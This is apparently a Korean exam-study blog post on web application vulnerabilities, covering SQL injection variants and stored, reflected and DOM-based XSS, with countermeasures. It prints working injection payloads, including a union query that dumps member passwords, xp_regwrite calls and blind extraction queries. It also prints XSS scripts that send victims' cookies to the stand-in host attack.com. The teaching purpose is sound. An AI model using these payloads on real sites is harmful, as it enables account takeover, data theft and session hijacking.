본문 바로가기
(실기) 정보보안기사&산업기사

웹 어플리케이션 취약점 3~6

by IT매니절 2024. 3. 28.

 


멀티쿼리를 통한 SQL Injection

select id, pass from member where id='' and pass='1234';

원본 쿼리
select id, pass from member where id=''; update member set pass='1' where id='admin'#' and pass='1234';

악의적인 입력값

=> ; 콜론을 이용해 멀티쿼리로 악의적인 쿼리문 추가

 

 

파라미터 필터링을 통한 SQL Injection 방지

$blackList=array('\','#','--','=','insert' ... );
for($i=0; $i < count($blackList); i++){
 $isUnsafe = eregi($blackList[$i], $str);
}

=> 필터링 할 리스트를 정의하여, 문자열에 포함되어 있는지 체크하는 방식

 

SQL Injection 공격의 대응책 요약

: 사용자 입력값 검증을 통해, SQL 구문에 사용되는 특수문자 또는 문자열이 사용자 입력을 통해 데이터베이스에 전달되어 실행되지 않도록 적절히 제한한다.

 

 

 

입력값 검증이 아닌, 로직을 통한 SQL Injection 방지 (그러나 여전히 취약함)

$sql = "select id, pass, nick from member where id='$id'";
...
..
if($db_pass == $pass){
  //사용자 입력 비밀번호와 db 비밀번호가 같으면 로그인 성공
}

=> 해당 쿼리는 입력한 id값으로 db에서 데이터를 가져온 후, 첫 번째 데이터의 비밀번호와 비교하여 로그인처리를함.

=> # 주석처리를 이용한 공격에는 대응할 수 있지만, Union 명령어를 이용해 db 데이터의 결과값을 조작하는 공격에는 대응할 수 없다

 

 

 

Union SQL Injection

Union
=> 두 개의 쿼리문의 결과를 하나의 결과로 합쳐주는 연산자. 두 쿼리문의 결과값의 컬럼 개수가 같고, 컬럼 타입은 호환 가능해야 한다. 중복된 레코드는 삭제한다.
(ex select id from mber Where id='1' Union select id from mber Where id='2')
Union all
=> Union의 결과 중 중복된 레코드까지 보여준다

select id, pass from member where id='' and pass='1234';
원본 쿼리
select id, pass from member where id='' Union select 'admin', '1234' #' and pass='1234';

=> Union을 통해 값조작. 결과값은 admin, 1234로 나온다.

 

컬럼 개수 파악
: order by절에 컬럼 인덱스를 지정할 수 있는데, 지정한 인덱스의 컬럼이 없으면 오류가 발생한다는 점을 이용하는 방법과, union select문을 이용하면서 컬럼 개수가 맞지 않으면 오류가 발생한다는 특성(컬럼 개수를 하나씩 늘리면서 시도)을 이용함

 

order by
: 정렬을 해주는 명령어. order by 1; 이런식으로 인덱스 정렬도 가능함. order by 2; 3; 4; 5; 이런식으로 숫자를 하나씩 늘려, 컬럼 개수를 알아낼 수 있다 (없는 인덱스를 지정하면 Unknown column~ 이런식으로 sql 오류가 남)

 

 

 

Stored Procedure SQL Injection
개요
저장 프로시저 Stored Procedure는 일련의 질의를 마치 하나의 함수처럼 실행하기 위한 질의의 집합.

사례
1) SQL Server(7.0 or 2000)의 xp_dirtree 확장 프로시저

[ xxx.php?no=123;EXEC master..xp_dirtree 'C:\' ]
=>세미콜론을 이용하고, xp_dirtree 확장 프로시저 실행 (C드라이브의 트리구조 출력)

 

2) xp_regwrite 확장 프로시저 실행
[ xxx.php?no=1234;EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', ... ]

=> ; 세미콜론을 이용하고, xp_regwrite 확장 프로시저 실행 (레지스트리 변경)

 

 

 

Mass SQL Injection
개요
- 한번의 공격으로 대량Mass의 DB값이 변조되어 홈페이지에 치명적인 영향을 미치는 공격
- 사용자가 변조된 사이트의 방문시 감염되거나 악성 BOT이 설치됨

사례
- 테이블의 문자형 컬럼 데이터 모두에 악성코드의 유포지 정보(URL)가 삽입된다

(다수의 컬럼에 똑같은 url 정보가 삽입된 캡쳐는 Mass SQL Injection 의심)

 

 

대응방안
1) 데이터베이스와 연동되는 스크립트의 모든 파라미터를 점검하여, 사용자의 입력값에 sql 질의문에 이용되는 특수문자 등의 SQL 관련 문자열을 필터링한다
2) MS-SQL의 경우 확장 프로시저는 제거하는 것이 안전하다
3) 선처리 질의문 Prepared Statement은 사전에 컴파일된 질의문을 이용하는 방식으로, 악의적인 입력값을 삽입하더라도 매개변수에 바인드될 뿐 SQL 질의문 자체에 영향을 미치 않으므로 효과적인 대응책이 된다.

 

 

취약점 3 END --

 

 

공격유형에 대한 분류
1) Error-Based (에러 기반)
개요
- DB 질의에 대한 에러값을 기반으로, 한 단계씩 점진적으로 DB 정보를 획득하는 방법. sql 질의 관련 특수문자를 삽입하여 에러가 발생하면 해당 취약점이 있다고 판단.

사례
1. xxx.php?no=' having 1=1--
리턴값 : 'member.no' 열이 집계 함수에 없고 Group by 절이 없으므로 select 목록에서 사용할 수 없습니다
=> member 테이블과 no 컬럼

2. xxx.php?no=' group by membber.no having 1=1--
리턴값 : 'member.name' 열이 집계 함수나 group by 절에 없으므로 select 목록에서 사용할 수 없습니다
=> member 테이블의 name 컬럼

3. xxx.php?no=' union select @@version1.1--
리턴값 : nvarchar 값 'Microsoft SQL Server 2000 - 8.00.1964 ~ '을 int 데이터 형식의 일로 변환하는 중 구문 오류가 발생했습니다.
=> 버전 정보 획득

 

 

2) Blind SQL Injection
개요
- 오류 메시지가 아닌, 질의 결과의 참과 거짓을 통해 의도하지 않은 sql 문을 실행함으로써 데이터베이스를 공격
- 단순히 오류 메세지를 자세히 반환하지 않게만 설정했다면 Blind SQL Injection에 취약
- 에러기반 공격에 비해 많은 비교 과정을 거치므로 취약점 발견 시 일반적으로 자동화 도구를 이용

 

취약한 php 코드

$sql = "select * from $table where $find like '%$search%' order by num desc";


=> 입력받은 검색어 $search를 적절한 검증 없이 질의문을 실행하고 있음

 

like 연산 : 패턴을 기반으로 문자열 검색
ex like %A% => %는 0개 이상의 임의의 문자를 의미하며, A를 포함하는 모든 것에 대한 검색.

 

 

select * from board where content like '%keword%'
정상 쿼리

select * from board where content like '%' and 1=1#%'
공격 쿼리

=> 늘 참이 되므로 0개 이상의 임의의 문자가 있는 모든 데이터를 출력하게됨

select * from board where content like '%' and 1=2#%'

=> 늘 거짓이 되는 쿼리. SQL Injection이 되는지 확인하는 절차(=레코드 0을 의도했는데, 예상해도 레코드 0이 나옴. 즉, 공격자가 원하는 대로 제어되고 있다는 뜻)

 

구분

' or 1=1#                               => 무조건 참으로 만들어 원하는 공격(악의적 쿼리 실행, 데이터 변조 등)을 하기 위해
' and 1=1# 또는 ' and 1=2#  => 참과 거짓에 따른 반응을 확인하기 위해

 

스키마
- information_schema : 데이터베이스에 대한 메타데이터를 제공하는 스키마(구조와 제약조건)
information_schema.tables : 모든 테이블 정보를 가지고 있는 테이블. table_type컬럼의 base_table은 사용자가 생성한 테이블을 의미.

리미트limit
- ex limit 0, 10  : 첫번째부터 10개의 레코드

 

select table_name from information_schema.tables where table_type = 'base_table' limit 0, 1;
=> 사용자가 생성한 테이블 중 첫번째 1개만 출력

 

stbstr("문자열", 1, 1);

=> 첫번째부터 1문자. 출력결과 : 문

 

select substr((select table_name from information_schema.tables where table_type = 'base_table' limit 0, 1), 1, 1);
=> (사용자가 생성한 테이블 중 첫번째 1개만 출력한 결과)의 첫 번째부터 1글자 출력

 

information_schema.columns : 모든 테이블의 컬럼 정보를 가지고 있는 테이블

select table_schema, table_name, column_name from information_schema.columns where table_name='board';
=> 테이블명으로 컬럼을 조회할 수 있다

 

 

Blind SQL Injection을 통한 테이블 정보 탈취

select * from board where content like '%keword%'
정상쿼리

select * from board where content like '%' and substr((select table_name from information_schema.tables where table_type = 'base_table' limit 0, 1), 1, 1)='a' #%'

=> 사용자가 만든 첫 번째 테이블의 이름 중 첫 번째 문자를 출력하여 a 문자열과 비교하고 뒷부분은 주석#처리

=> 문자열 a와 substr의 위치값을 계속해서 바꿔가면서, 결과값에 따라 테이블의 이름을 알 수 있게 된다 (문자열과 같으면 게시물이 출력되기 때문)

 

 

시험문제 예시

find=board&search=%27+and+substr%28%28select+table_name+from+information_schema.tables+where+table+type%3D%27base_table%27+limit+0%2C ... 하략

=> POST 방식으로 전달되는 URL 인코딩된 파라미터값이다. 해당 값을 보고 유추할 수 있는 것은?

답 : 공격자는 information_schema.tables 테이블을 통해 사용자가 생성한 테이블의 이름을 알아내려 하고 있다.

 

만약 information_schema.columns 테이블이라면? 사용자가 생성한 테이블 "tablename"의 첫번째 컬럼 이름을 알아내려 하는 것

 

 

select * from board where content like '%%'
정상쿼리
select * from board where content like '%' and 1=2 union select 'a','b','c','d','e','f'# %'
공격쿼리
=> select된 결과값이 게시판의 어디에 어떻게 들어가는 지 확인 (ex 글쓴이는 2번째, 내용은 3번째 등)

이를 이용하여

select * from board where content like '%' and 1=2 union select null,null,null,null,concat(id,'/',pass),null from member#%'

=> 원하는(육안으로 확인 가능한 좋은 위치)위치에 원하는 정보(id, pass 값)를 출력시킨다

 

find=board&search=%27+and+union+select+null%2C+null%2C+null%2C+null%2Cconcat%28id%2C%27%2F%27%2Cpass%29%2Cnull%2C ... 하략 ... from+member%23 ... 하략

=> POST 방식으로 전달되는 URL 인코딩된 파라미터값이다. 해당 값을 보고 유추할 수 있는 것은?

답 : 공격자는 union 명령어를 이용해, 원하는 파라미터(member의 id, pass값)를 페이지의 원하는 곳에 출력하려 하고 있다.

 

 

취약점 4 END --

 

 

** 크로스 사이트 스크립트XSS(:Cross Site Script) 취약점
개요
- 웹 어플리케이션에서 사용자 입력값에 대한 필터링이 제대로 이루어지지 않을 경우, 악의적인 스크립트(ex 자바스크립트)를 삽입, 해당 스크립트가 희생자측(클라이언트=사용자)에서 동작하도록 하여 악의적인 행위를 수행하는 취약점
- 공격자는 취약점을 이용하여 사용자의 개인정보 및 쿠키정보 탈취(세션 쿠키 탈취->HTTP Session Hijacking 공격으로 이어짐), 악성코드 감염 등의 공격을 수행
- 3가지 유형 : Stored XSS(저장형), Reflected XSS(반사형), DOM based XSS(DOM 기반)

(짤막복습-TCP Session Hijacking : TCP 세션을 탈취해서 해당 사용자인 것처럼 위장)

 

 

Stored XSS(저장형)
개요
- 공격자가 취약한 웹서버에 악성 스크립트를 저장해놓으면, 희생자가 해당 자료를 요청(게시물 열람)할 때 악성 스크립트가 삽입된 응답 페이지가 전달되어 클라이언트 측에서 동작

 

1. iframe 태그의 src 속성을 이용하여 악성 스크립트를 삽입한 게시물을 등록한다.
<iframe width=0 height=0 src="jsvascript:document.location.href='http://attack.com/index.php?cookie='+window.parent.document.cookie"></iframe>

Q. iframe의 width과 height 속성을 0으로 설정한 이유는?
=> 악성 스크립트가 포함된 iframe 태그가 동작하는 것을 희생자(클라이언트)가 모르도록 하기 위해서

 

2. 자바스크립트의 Image 객체를 이용
<script>
var img = new Image();
img.src="http://attack.com/index.php?cookie="+encodeURIComponent(document.cookie);
</script>


Q. 발생하는 결과는?
=> 공격자로 의심되는 웹사이트로 클라이언트의 쿠키정보가 전달


Q. 어떤 취약점을 이용한 공격으로 판단되는지 이유와 함께 서술하시오
=> 게시물 열람시 게시물에 포함된 악성 스크립트가 클라이언트 측에서 동작하여 클라이언트 정보를 탈취하는 것으로 볼 때, XSS (Cross Site Script)공격으로 판단됨

 

 

요청헤더정보

요청 GET /hacker/attack.php?cookie=PHPSESSID ... 하략
Accept */*
Referer http://www.test.com/home/board/view.php?num=33&page=1
Accept-Language ko-KR
User-Agent Mozilla/4.0 ~
Host www.attack.com
Connection Keep-Alive

Q. 공격자로 의심되는 웹서버의 주소(IP 또는 도메인)을 쓰시오

A. www.attack.com (Host 헤더)

 

Q. 현재 요청이 발생한 웹페이지의 주소(URL)을 쓰시오

A. http://www.test.com/home/board/view.php (Referer 헤더)

 

* XSS 공격으로 탈취한 정보를 이용해 HTTP Session Hijacking 공격으로 이어질 수 있다

 

안전한 사이트 예시
1) 사용자 입력값에 대한 검증
$content = htmlspecialchars($content, ENT_QUOTES);
$sql = "insert into $table (id, name, nick, content ...)";

PHP의 htmlspecialchars  : html 문법상 특별한 의미를 가지는 특수문자의 기능을 제거. 일반문자로 처리해준다.

예시

<     &lt;

>     &gt;

&     &amp;

"      &quot;

'      &#039;

 

 

취약점 5 END --

 

 

 

Reflected XSS(반사형)
개요
- 외부에 있는 악성 스크립트가 희생자 액션(메일 링크 클릭 등)에 의해 취약한 웹서버로 전달되고, 웹서버의 응답 페이지에 해당 악성 스크립트가 삽입되어 희생자 측에서 동작하는 방식
- 악성스크립트가 포함된 요청 정보를 처리하는 과정에서 악성 스크립트가 포함된 응답 페이지가 생성되어 희생자에게 전달되는 방식

 

ex
GET /home/board/view.php?id=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=submit HTTP/1.1

=> script 태그를 파라미터에 넣어 동작시킨 상태

 

(* 암기 %3C는 <  ,  %3D는 =  , %3E는 > )

 

 

 

DOM based XSS(DOM 기반)

개요

- DOM은 문서 객체 모델로 웹페이지 내 모든 객체를 조작, 관리할 수 있는 계층 구조 형태의 모델.

- 외부에 있는 악성 스크립트가 희생자 액션(메일 링크 클릭 등)에 의해 취약한 웹서버로 전달되고, 웹서버의 응답 페이지에는 악성스크립트가 없지만요청 URL에는 악성 스크립트가 남아있는 상태. URL 쿼리스트링 상의 악성 스크립트를 응답 페이지의 자바 스크립트가 동작(DOM 객체 이용) 하면서 공격하는 방식- DOM 객체를 실행할 때, URL에 포함된 악성 스크립트가 동작하는 방식
- 저장형과 반사형은 응답 페이지에 포함되어 있지만, DOM based XSS는 응답 페이지에 관계없이 웹 브라우저에서 발생

 

취약한 코드
document.write(""+document.location.href.substring(document.location.href.indexOf("data=")+5)+"")
=> 스크립트에서 url의 파라미터를 참조하여 어떤 html 객체를 만들고 있는 경우. url의 location.href 를 참조하여 값을 가져오려고 하면서, 스크립트를 실행하게됨

 

정상 URL
/home/board/view.php?data=testItem

공격 URL
/home/board/view.php?data=<script>alert(document.cookie)</script>

 

 

취약점 판단기준
- XSS 취약점이 발생할 수 있는 입력 가능한 폼, URL 파라미터 등에 스크립트를 삽입하여 해당 스크립트가 동작하면 XSS에 취약하다고 판단
- ex <script>alert()</script> 삽입시 팝업창이 발생할 경우

 

대응책
1) 사용자 입력값에 대한 검증은 반드시 서버에서 해야 한다. 클라이언트에서 검증을 수행하면 공격자가 웹 프록시Web proxy 툴을 통해 쉽게 우회할 수 있기 때문에 서버에서의 추가 검증이 반드시 필요
2) 웹 프록시 툴은 웹을 이용한 해킹 공격에 가장 활발히 사용됨. 대표적인 툴로는 Paros, Burp 등이 있음
3) HTML 코드로 인식될 수 있는 특수문자를 일반문자로 치환하여 처리

 

 

 

취약점 6 END --